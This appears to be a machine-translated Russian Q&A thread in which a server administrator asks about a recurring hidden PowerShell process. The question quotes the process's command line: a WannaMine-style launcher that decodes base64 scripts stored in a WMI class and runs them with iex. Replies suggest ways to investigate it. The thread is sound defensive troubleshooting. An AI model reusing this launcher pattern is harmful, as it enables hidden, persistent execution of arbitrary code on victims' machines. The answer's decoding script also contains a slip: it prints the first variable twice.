Windows Server: как мне узнать, почему процесс PowerShell продолжает запускаться и что он делает?

#windows #powershell #server

#Windows #powershell #сервер

Вопрос:

Я вижу процесс PowerShell, который продолжает запускаться, и я не знаю почему.

Согласно Process Explorer, процесс PowerShell выглядит следующим образом:

 powershell -NoP -NonI -W Hidden -exec bypass "$am = ([WmiClass] 'rootdefault:systemcore_Updater8').Properties['am'].Value;$deam=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($am));iex $deam;$co = ([WmiClass] 'rootdefault:systemcore_Updater8').Properties['enco'].Value;$deco=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($co));iex $deco"
 

Что-то, что преобразуется из строки Base 64, выглядит подозрительно для меня, но кроме этого, я не могу расшифровать (ха!), Что здесь происходит.

Когда я завершаю процесс, он перезапускается через некоторое время (от нескольких минут до получаса)

Я не смог найти в диспетчере задач ничего, что, похоже, запускает процесс.

Я начинаю подозревать что-то очень подозрительное.

Есть предложения?

Комментарии:

1. Действительно похоже на вредоносный код. Я бы попытался удалить его с помощью MalwareBytes

2. Проверьте свою коллекцию запланированных задач, она вполне может начинаться оттуда (вместе с объяснением того, что она делает). systemcore_Updater8 Я не могу найти ничего стандартного, и код в основном получает два свойства, декодирует значение Base64 и затем выполняет оба как сценарий PowerShell, поэтому его можно использовать для выполнения произвольного кода. Это не обязательно делает его вредоносным (применяется Hanlon’s Razor, и это может быть какое-то официальное стороннее программное обеспечение, которое работает тупо), но делает его подозрительным.

3. WannaMine использует systemcore_Updater8 , но мне неясно, является ли он источником этого класса или просто использует его. Скорее всего, это источник. Вы могли бы поручить Powershell глобально регистрировать все, что он выполняет, и получать то, что на самом деле вызывается get.

Ответ №1:

Не ответ, но он не подходит для комментариев: вы можете выполнить следующие команды, чтобы показать вам, что вызывает скрипт (iex)

 $am = ([WmiClass] 'rootdefault:systemcore_Updater8').Properties['am'].Value;
$deam=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($am));
Write-Output $deam

$co = ([WmiClass] 'rootdefault:systemcore_Updater8').Properties['enco'].Value;
$deco=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($co));
Write-Output $deam